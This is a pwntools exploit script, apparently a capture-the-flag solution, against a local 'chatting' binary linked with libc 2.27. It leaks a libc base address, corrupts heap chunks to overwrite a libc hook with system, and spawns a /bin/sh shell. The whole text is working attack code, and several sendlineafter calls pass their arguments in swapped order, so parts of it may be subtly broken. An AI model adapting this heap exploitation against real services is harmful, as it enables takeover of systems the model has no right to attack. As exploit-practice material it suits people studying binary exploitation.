1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning)
context(os ="Linux",arch="amd64", log_level="debug")
p = process('./chatting') libc = ELF("./libc-2.27.so")
def add(n): p.sendlineafter("add", " exit): ") p.sendlineafter(n, "Enter new username: ") def delete(n): p.sendlineafter("delete", " exit): ") p.sendlineafter(n, "Enter username to delete: ") def message(to, ctx): p.sendlineafter("message", " exit): ") p.sendlineafter(to, "To:") p.sendlineafter(len(ctx), "Message size:") p.sendlineafter(ctx, "Content:")
def listuser(): p.sendlineafter("listuser", " exit): ") def read(): p.sendlineafter("read", " exit): ")
def switch(n): p.sendlineafter("switch", " exit): ") p.sendlineafter(n, "Enter username to switch to: ")
p.sendline("str1k3")
add("aaaa") add("bbbb")
message("str1k3", "a"*0x500) message("xxxx", "b"*0x500)
delete("str1k3") message("xxxx", "c"*0x800)
read() p.recvuntil("str1k3 -> str1k3: ") libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ec0d0 success("libc_base: "+ hex(libc_base))
add("A"*0x80) add("B"*0x80) add("C"*0x80) add("D"*0x80) add("E"*0x80)
add("F"*0x80) switch("F"*0x80) for i in range(7): message("F"*0x80, str(i)*0x80) read()
switch("A"*0x80) message("A"*0x80, "a"*0x100) switch("B"*0x80) message("B"*0x80, "b"*0x100) switch("C"*0x80) for i in range(7): message("C"*0x80, str(i)*0x100) read()
switch("A"*0x80) read() switch("B"*0x80) read()
switch("bbbb") message("xxxx", "a"*0x100)
switch("B"*0x80) read()
switch("bbbb") pp = b'A'*0x100+flat([0, 0x111, libc_base+0x3ed8e0]) message("xxxx", pp.ljust(0x200))
switch("D"*0x80) message("D"*0x80, b"/bin/sh".ljust(0x100, b'\x00')) message("bbbb", (p64(0)+p64(libc.symbols["system"])).ljust(0x100, b'\x00')) read()
p.interactive()
|